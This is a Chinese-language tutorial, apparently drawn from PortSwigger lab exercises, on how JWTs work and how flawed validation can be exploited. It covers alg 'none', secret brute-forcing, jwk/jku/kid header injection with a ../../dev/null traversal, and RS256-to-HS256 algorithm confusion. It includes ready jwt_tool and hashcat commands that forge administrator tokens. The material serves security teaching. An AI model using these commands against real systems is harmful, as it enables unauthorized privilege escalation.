JWT原理及利用手法

JWT 原理

JSON Web Token (JWT) 是一種開放的行業標準,用于在系統之間以 JSON 對象的形式安全地傳輸信息。這些信息經過數字簽名,因此可以被驗證和信任。其常用于身份驗證、會話管理和訪問控制機制中傳遞用戶信息。

與傳統的會話令牌相比,JWT 的一個顯著特點是服務器端無需存儲會話信息,所有必要數據都存儲在客戶端持有的 JWT 本身之中。這一特性使得 JWT 在高度分布式的網站架構中備受青睞,因為它能讓用戶無縫地與多個后端服務器進行交互。

JWT 格式

一個標準的 JWT 由三部分組成:頭部(header)、載荷(payload)和簽名(signature)。這三部分由點(.)分隔,其結構如下例所示:

eyJraWQiOiJrZXktMDAxIiwiYWxnIjoiUlMyNTYifQ.eyJpc3MiOiJhdXRoLmV4YW1wbGUuY29tIiwiZXhwIjoxNzE1MTgzOTY3LCJuYW1lIjoiQWxpY2UiLCJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzE1MTgwMzY3fQ.FLA_8VwA23y2s2R-flXm9uG4P4a7aH7eGf7uG_FvC_D9_B9g_fB_A9F8E_7c6_a5_D4C_B3_a2_f1

JWT 的 header 和 payload 部分本質上是經過 Base64Url 編碼的 JSON 對象。頭部包含了關于令牌本身的元數據,而 payload 則包含了關于用戶的實際聲明信息。

header
  • 頭部 (Header) 是一個 JSON 對象,通常包含兩部分信息:令牌的類型(typ),即 “JWT”,以及所使用的簽名算法(alg)。
  • 該 JSON 對象最終會經過 Base64Url 編碼,構成 JWT 的第一部分。
{"kid": "key-001","alg": "RS256"
}
payload
  • 載荷 (Payload) 同樣是一個 JSON 對象,用于存放需要傳遞的實際數據,這些數據被稱為“聲明(Claims)”。
  • 聲明可以包含預定義的標準字段(例如 iss - 簽發者, exp - 過期時間, sub - 主題),也可以包含自定義的私有字段。
  • 需要注意的是,載荷部分也只是經過 Base64Url 編碼,并沒有加密,因此不應該在其中存放密碼等敏感信息
{"iss": "auth.example.com","exp": 1715183967,"name": "Alice","sub": "alice","role": "user","iat": 1715180367
}
signature
  • 簽名 (Signature) 是 JWT 最關鍵的部分,用于驗證令牌的真實性和完整性。
  • 簽名的生成過程如下:
    1. 將經過 Base64Url 編碼的 header 和 payload 用點(.)連接起來,形成一個待簽名的字符串。
    2. 使用 header 中指定的簽名算法,并配合一個密鑰,對這個字符串進行簽名。

驗簽

對稱加密

簽名的核心作用是防止篡改。當服務器收到一個 JWT 時,它會執行以下驗證步驟:

  • 重新計算簽名: 服務器提取接收到的 JWT 的 header 和 payload,然后使用自己安全保存的密鑰和 header 中指定的算法,重新計算一次簽名。
  • 比較簽名: 將新計算出的簽名與接收到的 JWT 中的原始簽名進行比較。
    • 如果兩者一致,說明令牌沒有被篡改過,是可信的。
    • 如果兩者不一致,說明令牌在傳輸過程中被修改過或偽造,服務器會拒絕這個請求。
非對稱加密
  • 執行驗證操作: 服務器提取接收到的 JWT 的 header、payload 和 signature。然后,它會使用自己保存的公鑰和 header 中指定的算法(如 RS256),對 header、payload 和原始簽名執行驗證。
  • 判斷驗證結果:
    • 如果驗證成功,說明簽名有效。這能同時證明兩件事:
      • 令牌確實是由持有對應私鑰的一方簽發的。
      • 令牌的內容 (header 和 payload) 在傳輸過程中沒有被篡改過。
    • 如果驗證失敗,說明令牌是偽造的、被篡改過的,或者是公鑰和簽發者的私鑰不匹配。服務器會拒絕這個請求。

攻擊 JWT

利用有缺陷的 JWT 簽名驗證

接受任意簽名
漏洞成因

在Java開發中,jjwt 庫是處理JWT的流行選擇。它同樣存在可能被誤用的API設計。

  • 不安全的 parse() 方法:某些舊版本的 jjwt 或在特定用法下,單獨的 parse() 方法可能只解碼而不驗證簽名。
  • 安全的 parseClaimsJws() 方法:這個方法的名字明確表示它期望處理的是一個JWS(JSON Web
    Signature),因此它會強制驗證簽名。如果簽名驗證失敗,它會拋出 SignatureException。
攻擊過程

以普通用戶身份登錄后,嘗試訪問管理員界面,系統提示需要管理員權限。

該網站使用 JWT 進行認證,當前用戶的權限不足。

使用在線工具對 JWT 進行解碼,可以看到 payload 部分顯示當前用戶為 alice,服務器正是通過該字段進行身份校驗的。

sub 字段的值修改為 administrator,保持 signature 不變,重新生成 JWT 并替換原有的令牌。

成功使用 administrator 權限訪問該頁面。

接受無簽名的令牌
漏洞成因

JWT 頭部包含一個 alg 參數,該參數告知服務器對令牌進行簽名時所使用的算法,以及在驗證簽名時應采用哪種算法。

{"kid": "key-id-12345","alg": "RS256"
}

JWT 標準允許使用多種不同的算法進行簽名,但同時也支持不簽名。在這種情況下,alg 參數會被設置為 none。如果服務器未能正確校驗 alg 參數,完全信任客戶端提供的值,攻擊者便可以提交一個無簽名的令牌來繞過驗證。

攻擊過程

場景同上,當前用戶無法訪問目標接口。

alg 的值修改為 none,將 payload 中的 sub 值修改為 administrator,然后刪除 signature 部分,但保留末尾的點(.),生成一個新的 JWT。

替換原始 JWT 并重放請求,成功訪問該接口。

暴力破解密鑰

漏洞成因

在實現 JWT 應用時,開發人員有時會犯一些低級錯誤,例如忘記更改默認或占位符密鑰。他們甚至可能直接復制粘貼了網上的代碼片段,而沒有修改其中作為示例提供的硬編碼密鑰。在這種情況下,攻擊者可以使用一份包含常見密鑰的字典,對服務器的簽名密鑰進行暴力破解。

攻擊過程

場景同上。使用 hashcat 工具進行爆破,字典可以在 GitHub 上尋找高星項目。

hashcat -a 0 -m 16500 eyJraWQiOiI1MDc1M2E3OS1kZTczLTQ1NzQtOGM1Ny04MTY4NzAxYjdhNTUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MjkzMjQ4MCwic3ViIjoid2llbmVyIn0.EKgXRif5vH2aT_3Dj7P5stV6xhhlp-i_CLWtEFsQgKE jwt.secrets.list

成功爆破出 JWT 密鑰。

使用破解出的密鑰重新生成一個具有管理員權限的 JWT。

替換原 JWT 并重放數據包,成功訪問。

JWT Header 參數注入

通過 jwk 參數注入自簽名 JWT
漏洞成因

理想情況下,服務器應僅使用一個預置的、受信任的公鑰白名單來驗證 JWT 簽名。然而,配置錯誤的服務器有時會使用 jwk (JSON Web Key) Header 參數中嵌入的任何密鑰。攻擊者可以利用此行為,先使用自己的 RSA 私鑰對修改后的 JWT 進行簽名,然后將匹配的公鑰嵌入 jwk 標頭中,從而誘騙服務器使用攻擊者提供的密鑰來完成驗證。

jwk Header 示例:

{"kid": "attacker-key-1","typ": "JWT","alg": "RS256","jwk": {"kty": "RSA","e": "AQAB","kid": "attacker-key-1","n": "..."}
}
攻擊過程

使用 jwt_tool 這款工具可以方便快捷地利用此漏洞。輸入如下命令:

# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiJlNTFlMzllMS01MTYwLTRhYjEtYmU5Yi00ZWE4ZGMzYWZmNDAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MjkzNTgwOCwic3ViIjoid2llbmVyIn0.RNIqK_ziuL2NlDsgR-QDiYfOdGt-CA2zgl0luR5i3CVYOHk1lj98pGwF0-X5UpiJ-Dp4b2IY-5cT0pnwUZtGmxo7a8NZ_2jhxG8WbJiTRzUyEWrsNxITlgBoFV1eFzrkTbgbmMcVfwooxS61i93QdhhVz9tHiy5jiP2AxigCCo5wLwhYX7no0Rv-bavsFSh0lhf70oZdZ_17KlYqlf_EGRxrt8UIEplXZ97_P-qx-2gKDDMouNxY_wwobihf-lW1ocvlA25SzxHEdn-2v55q5xT4TMSRj2yv1hiRP9U3YI8_HiRBbkiUW7sXIs6qutGPGjCkPCcsaiS37dVAT3abHw' -np -I -pc "sub" -pv "administrator" -X i

可以看到利用成功,并且能在日志中找到新構造的 JWT。

使用新的 JWT 重放數據包,成功以 administrator 用戶身份訪問。

在這里插入圖片描述

通過 jku 參數注入自簽名 JWT
漏洞成因

某些服務器不直接使用 jwk 標頭參數嵌入公鑰,而是允許使用 jku(JWK Set URL)標頭參數來引用一個包含密鑰集的 URL。在驗證簽名時,服務器會從此 URL 獲取相關密鑰。如果服務器信任任意 jku 指向的 URL,攻擊就可能發生。

攻擊過程

此攻擊需要一個托管我們 JWKS 的服務器。首先,將 jwt_tool 生成的 JWK 部分復制到該服務器。需要注意的是jku 攻擊中 jwt_tool 不會自動處理 kid,需要手動將原始 JWT 的 kid 復制并替換掉生成內容中的 kid

接著使用 jwt_tool,并使用 -ju 參數指向我們托管 JWKS 的服務器地址。

# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiI2ZmFmZjk3ZC1hNzUxLTRjM2QtYWY5Zi04ZjI2YzZmZDZiMzMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1Mjk5Mjc2Nywic3ViIjoid2llbmVyIn0.fMvjZTuQnoCUMkc0HG9kaHzctTJYIdakB6qoOLaWoMkLHNLJ4niHd4x33rOZizjTeL-nZdoETNCe4tC7WLBCrkKfdJZBEIlCjrvw0OZ80XDem2npMv4cCtRT7EgcP8NRo5DBNHtd9pAOR7zAjNs6D9_5fQTgxaOKOXGI8GAhJa8ui_Sj8ILYnN1ejvKAU6YCfw9FX02My1NcNdmK7Ba5_weYalX8C5Trcl2rn4o6uJ21V7XiPftz0XH-X-cXBfsKsbIh1_50GLGtgrFlN-gN4emXhbcrN8KIL4cVa6EWMsSu1ZqEMbezPJGw7lMctPhW2K7J0TfVUJTnpqVEtjbBbg' -np -I -pc "sub" -pv "administrator" -X s -ju 'https://exploit-0ab20073040299de837d41cc011e0036.exploit-server.net/exploit'

使用新生成的 JWT 訪問該接口,攻擊成功。

通過 kid 參數注入自簽名 JWT
漏洞成因

這個漏洞的利用需要滿足幾個前提條件:

  • 信任 alg 參數:服務器允許客戶端在 JWT 的頭部指定使用的簽名算法,并據此來驗證簽名。
  • 信任 kid 參數:服務器完全信任 JWT 頭部中的 kid (Key ID) 參數。
  • kid 用于讀取文件:服務器內部的邏輯是,把 kid 參數的值當作一個文件名(或文件路徑的一部分),然后從硬盤上讀取這個文件的內容來作為驗證用的密鑰。
  • 存在目錄遍歷漏洞:在拼接文件路徑時,服務器沒有正確處理 ../ 等路徑穿越字符,導致攻擊者可以通過 kid 參數讀取到預期目錄之外的任意文件。

利用這些條件,攻擊者可以使用一個對稱加密算法(如 HS256),并通過路徑穿越,指定一個服務器上已知的、內容固定的文件作為簽名密鑰,例如 Linux 系統下的 /dev/null

攻擊過程

同樣使用 jwt_tool 進行攻擊,指定 kid../../../../../../../dev/null,并將密鑰指定為空字節(因為 /dev/null 的內容為空),成功將用戶提權到 administrator

# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiJhNjIyM2FhZS0zNGVhLTQ3ZGYtOGI1OC1kZWE3MzNlZjQwZDIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1Mjk5NjcyMiwic3ViIjoid2llbmVyIn0.dtLkZnYfOd5Ls6yWGZ98w5ONT5kVwHgbHpJ5LeO5ubE' -np -I -pc "sub" -pv "administrator" -hc "kid" -hv "../../../../../../../dev/null" -X b

使用新的 JWT 重放數據包,攻擊成功。

算法混淆攻擊

泄露公鑰的場景
漏洞成因

這是一種利用開發者編碼錯誤的典型攻擊場景。在驗證 JWT 的過程中,如果代碼邏輯是為非對稱加密算法(如 RS256)設計的,它會直接使用公鑰進行驗簽。但當開發者沒有對傳入的 alg 參數做嚴格限制時,攻擊者可以傳入一個使用對稱加密算法(如 HS256)簽名的 JWT。
如果此時服務器的驗證邏輯不變,它可能會錯誤地將本應用于驗證公鑰,當作了對稱加密算法的簽名密鑰來使用。在公鑰容易被泄露(例如通過 /.well-known/jwks.json 等接口)的情況下,攻擊者便可偽造通過校驗的 JWT。

攻擊過程

首先,通過公開接口收集到服務器的公鑰。

使用工具將其轉換為 PEM 格式,并保存到本地文件 public.pem

使用 jwt_tool 執行攻擊,將 alg 修改為 HS256 并用獲取到的公鑰作為密鑰來簽名,構造一個新的 JWT,成功將權限提升到 administrator

# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiI5ODY4YTliOC0zYzM3LTRiZDctOTI0YS0xMzUwNWRmODc3YmYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MzAwMDg1Nywic3ViIjoid2llbmVyIn0.Wjv2YdNi1l_XgUUqHISF9OGbiWUtGbqaRMjVqRgSV_2Pq3J8omvvmC-qrdMm1s_76pryxd6TZyLsMQETbtOayD5SR4Hym-U9v6XmfEYVmEQAvrLhvUJYni7oMnq9RHLNUiSvBTZXjCrkcLk2GKs-pp9C3vLGInjGhhYBQGX-YlWF9I-S5-lc_GiW5lCWlVbqS8BopQG0QaSBZcPS4zcBxxlzj5CCGdIlP38VajiLY5q0I-3SfBlnyOtVpIhHQrFMONlqESYH6gyKOj1uuRaNR3UWk6dasGBHnCRKpwwskXm8gHzMZDjGFbkwRi7pfQ1bwWud9mko1q8leO6A-gcN3g' -np -I -pc "sub" -pv "administrator" -X k -pk public.pem 

替換 JWT 并重放數據包,攻擊成功。

從現有 jwt 獲取公鑰
漏洞成因

RSA 簽名的生成與一個巨大的數字——模數 n——密切相關。這個 n 是公鑰和私鑰共有的一個核心組成部分。通常情況下,僅從一個簽名是無法反推出 n 的。

但是,如果攻擊者能獲得由同一個私鑰簽發的兩個不同 JWT 的簽名,就可以通過數學計算來恢復出這個共享的模數 n,進而重構出公鑰。

如何獲取兩個不同的 JWT?

  • 用同一個賬號,登出后再重新登錄,兩次登錄獲得的 JWT 可能不同(比如 iatexp 時間戳不同)。
  • 用同一個賬號,修改一下個人資料(如郵箱、昵稱),服務器可能會重新簽發一個包含新信息的 JWT。
  • 注冊兩個不同的用戶賬號 user1user2,如果服務器用的是同一個私鑰為所有用戶簽名,那么這兩個 JWT 也可以用于此攻擊。
攻擊過程

通過連續登錄兩次獲取到兩個不同的 JWT,然后使用 sig2n 等工具恢復模數 n,成功拿到兩個可能的公鑰。

# 假設的命令,替換了敏感信息
docker run --rm -it some-tools/sig2n <jwt_token_1> <jwt_token_2>

分別對兩個 Base64 字符串進行解碼,得到兩個 PEM 格式的公鑰。

其中一個公鑰是正確的。剩下的步驟就和上一節的算法混淆攻擊一樣,利用這個公鑰將權限提升到 administrator

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/89644.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/89644.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/89644.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

DeepSeek 助力 Vue3 開發:打造絲滑的日歷(Calendar),日歷_睡眠記錄日歷示例(CalendarView01_30)

前言&#xff1a;哈嘍&#xff0c;大家好&#xff0c;今天給大家分享一篇文章&#xff01;并提供具體代碼幫助大家深入理解&#xff0c;徹底掌握&#xff01;創作不易&#xff0c;如果能幫助到大家或者給大家一些靈感和啟發&#xff0c;歡迎收藏關注哦 &#x1f495; 目錄DeepS…

git的diff命令、Config和.gitignore文件

diff命令&#xff1a;比較git diff xxx&#xff1a;工作目錄 vs 暫存區&#xff08;比較現在修改之后的工作區和暫存區的內容&#xff09;git diff --cached xxx&#xff1a;暫存區 vs Git倉庫&#xff08;現在暫存區內容和最一開始提交的文件內容的比較&#xff09;git diff H…

Linux中的LVS集群技術

一、實驗環境&#xff08;RHEL 9&#xff09;1、NAT模式的實驗環境主機名IP地址網關網絡適配器功能角色client172.25.254.111/24&#xff08;NAT模式的接口&#xff09;172.25.254.2NAT模式客戶機lvs172.25.254.100/24&#xff08;NAT模式的接口&#xff09;192.168.0.100/24&a…

【數據結構】「隊列」(順序隊列、鏈式隊列、雙端隊列)

- 第 112篇 - Date: 2025 - 07 - 20 Author: 鄭龍浩&#xff08;仟墨&#xff09; 文章目錄隊列&#xff08;Queue&#xff09;1 基本介紹1.1 定義1.2 棧 與 隊列的區別1.3 重要術語2 基本操作3 順序隊列(循環版本)兩種版本兩種版本區別版本1.1 - rear指向隊尾后邊 且 無 size …

Java行為型模式---解釋器模式

解釋器模式基礎概念解釋器模式&#xff08;Interpreter Pattern&#xff09;是一種行為型設計模式&#xff0c;其核心思想是定義一個語言的文法表示&#xff0c;并定義一個解釋器&#xff0c;使用該解釋器來解釋語言中的句子。這種模式將語法解釋的責任分開&#xff0c;使得語法…

[spring6: PointcutAdvisor MethodInterceptor]-簡單介紹

Advice Advice 是 AOP 聯盟中所有增強&#xff08;通知&#xff09;類型的標記接口&#xff0c;表示可以被織入目標對象的橫切邏輯&#xff0c;例如前置通知、后置通知、異常通知、攔截器等。 package org.aopalliance.aop;public interface Advice {}BeforeAdvice 前置通知的標…

地圖定位與導航

定位 1.先申請地址權限(大致位置精準位置) module.json5文件 "requestPermissions": [{"name": "ohos.permission.INTERNET" },{"name": "ohos.permission.LOCATION","reason": "$string:app_name",&qu…

【數據結構】揭秘二叉樹與堆--用C語言實現堆

文章目錄1.樹1.1.樹的概念1.2.樹的結構1.3.樹的相關術語2.二叉樹2.1.二叉樹的概念2.2.特殊的二叉樹2.2.1.滿二叉樹2.2.2.完全二叉樹2.3.二叉樹的特性2.4.二叉樹的存儲結構2.4.1.順序結構2.4.2.鏈式結構3.堆3.1.堆的概念3.2.堆的實現3.2.1.堆結構的定義3.2.2.堆的初始化3.2.3.堆…

區間樹:多維數據的高效查詢

區間樹&#xff1a;多維數據的高效查詢 大家好&#xff0c;今天我們來探討一個在計算機科學中非常有趣且實用的數據結構——區間樹。想象一下&#xff0c;你是一位城市規劃師&#xff0c;需要快速找出某個區域內所有的醫院、學校或商場。或者你是一位游戲開發者&#xff0c;需要…

SQL 魔法:LEFT JOIN 與 MAX 的奇妙組合

一、引言 在數據庫操作的領域中&#xff0c;數據的關聯與聚合處理是核心任務之一。LEFT JOIN作為一種常用的連接方式&#xff0c;能夠將左表中的所有記錄與右表中滿足連接條件的記錄進行關聯&#xff0c;即便右表中沒有匹配的記錄&#xff0c;左表的記錄也會被保留&#xff0c;…

手寫tomcat

package com.qcby.annotation;import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target;Target(ElementType.TYPE)// 表示該注解只能用于類上 Retention(Retentio…

Android平臺下openssl動態庫編譯

1. 下載Linux平臺下的NDK軟件包 NDK 下載 | Android NDK | Android Developers 下載完成后執行解壓命令 # unzip android-ndk-r27d-linux.zip 2. 下載openssl-1.1.1w源碼包&#xff0c;并解壓 # tar -xzvf openssl-1.1.1w.tar.gz 3. 進入解壓后的openssl-1.1.1w目錄 …

【C++基礎】面試高頻考點解析:extern “C“ 的鏈接陷阱與真題實戰

名稱修飾&#xff08;Name Mangling&#xff09;是C為支持重載付出的代價&#xff0c;而extern "C"則是跨越語言邊界的橋梁——但橋上的陷阱比橋本身更值得警惕 一、extern "C" 的核心概念與高頻考點1.1 鏈接規范與名字改編機制C 為支持函數重載&#xff0…

OpenCV 官翻 4 - 相機標定與三維重建

文章目錄相機標定目標基礎原理代碼配置校準去畸變1、使用 cv.undistort()2、使用**重映射**方法重投影誤差練習姿態估計目標基礎渲染立方體極線幾何目標基礎概念代碼練習從立體圖像生成深度圖目標基礎概念代碼附加資源練習相機標定 https://docs.opencv.org/4.x/dc/dbb/tutori…

Python類中方法種類與修飾符詳解:從基礎到實戰

文章目錄Python類中方法種類與修飾符詳解&#xff1a;從基礎到實戰一、方法類型總覽二、各類方法詳解1. 實例方法 (Instance Method)2. 類方法 (Class Method)3. 靜態方法 (Static Method)4. 抽象方法 (Abstract Method)5. 魔術方法 (Magic Method)三、方法修飾符對比表四、綜合…

VSCode使用Jupyter完整指南配置機器學習環境

接下來開始機器學習部分 第一步配置環境&#xff1a; VSCode使用Jupyter完整指南 1. 安裝必要的擴展 打開VSCode&#xff0c;按 CtrlShiftX 打開擴展市場&#xff0c;搜索并安裝以下擴展&#xff1a; 必裝擴展&#xff1a; Python (Microsoft官方) - Python語言支持Jupyter (Mi…

數據結構與算法之美:拓撲排序

Hello大家好&#xff01;很高興我們又見面啦&#xff01;給生活添點passion&#xff0c;開始今天的編程之路&#xff01; 我的博客&#xff1a;<但凡. 我的專欄&#xff1a;《編程之路》、《數據結構與算法之美》、《C修煉之路》、《Linux修煉&#xff1a;終端之內 洞悉真理…

Ubuntu18.04 系統重裝記錄

Ubuntu18.04 系統重裝記錄 1 安裝google拼音 https://blog.csdn.net/weixin_44647619/article/details/144720947 你好&#xff01; 這是你第一次使用 Markdown編輯器 所展示的歡迎頁。如果你想學習如何使用Markdown編輯器, 可以仔細閱讀這篇文章&#xff0c;了解一下Markdo…

Maven常用知識總結

Maven常用知識總結Maven 安裝與配置windows mvn安裝與配置IntelliJ IDEA 配置IntelliJ IDEA 配置系統mavenIntellij IDEA Maven使用IntelliJ IDEA 不能運行項目常見問題pom.xml 常用標簽講解parentgroupId artifactId versiondependencypropertiespluginpackagingdependencyMan…

PHP框架在大規模分布式系統的適用性如何?

曾幾何時&#xff0c;PHP被貼上“只適合小網站”的標簽。但在技術飛速發展的今天&#xff0c;PHP框架&#xff08;如Laravel、Symfony、Hyperf、Swoft等&#xff09; 早已脫胎換骨&#xff0c;勇敢地闖入了大規模分布式系統的疆域。今天&#xff0c;我們就來聊聊它的真實戰斗力…